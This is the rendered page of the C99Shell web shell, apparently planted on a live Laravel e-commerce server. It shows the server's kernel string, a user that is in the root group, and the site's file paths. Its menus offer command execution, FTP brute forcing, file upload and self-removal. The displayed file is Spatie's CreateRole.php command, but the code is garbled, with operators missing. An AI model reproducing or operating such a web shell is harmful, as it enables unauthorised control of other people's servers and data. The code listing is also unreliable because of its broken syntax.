!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html/vendor/spatie/laravel-permission/src/Commands/   drwxr-xr-x
Free 26.49 GB of 117.98 GB (22.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CreateRole.php (2.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Permission\Commands;

use 
Illuminate\Console\Command;
use 
Spatie\Permission\Contracts\Permission as PermissionContract;
use 
Spatie\Permission\Contracts\Role as RoleContract;
use 
Spatie\Permission\PermissionRegistrar;

class 
CreateRole extends Command
{
    protected 
$signature 'permission:create-role
        {name : The name of the role}
        {guard? : The name of the guard}
        {permissions? : A list of permissions to assign to the role, separated by | }
        {--team-id=}'
;

    protected 
$description 'Create a role';

    public function 
handle()
    {
        
$roleClass app(RoleContract::class);

        
$teamIdAux getPermissionsTeamId();
        
setPermissionsTeamId($this->option('team-id') ?: null);

        if (! 
PermissionRegistrar::$teams && $this->option('team-id')) {
            
$this->warn('Teams feature disabled, argument --team-id has no effect. Either enable it in permissions config file or remove --team-id parameter');

            return;
        }

        
$role $roleClass::findOrCreate($this->argument('name'), $this->argument('guard'));
        
setPermissionsTeamId($teamIdAux);

        
$teams_key PermissionRegistrar::$teamsKey;
        if (
PermissionRegistrar::$teams && $this->option('team-id') && is_null($role->$teams_key)) {
            
$this->warn("Role `{$role->name}` already exists on the global team; argument --team-id has no effect");
        }

        
$role->givePermissionTo($this->makePermissions($this->argument('permissions')));

        
$this->info("Role `{$role->name}` ".($role->wasRecentlyCreated 'created' 'updated'));
    }

    
/**
     * @param  array|null|string  $string
     */
    
protected function makePermissions($string null)
    {
        if (empty(
$string)) {
            return;
        }

        
$permissionClass app(PermissionContract::class);

        
$permissions explode('|'$string);

        
$models = [];

        foreach (
$permissions as $permission) {
            
$models[] = $permissionClass::findOrCreate(trim($permission), $this->argument('guard'));
        }

        return 
collect($models);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--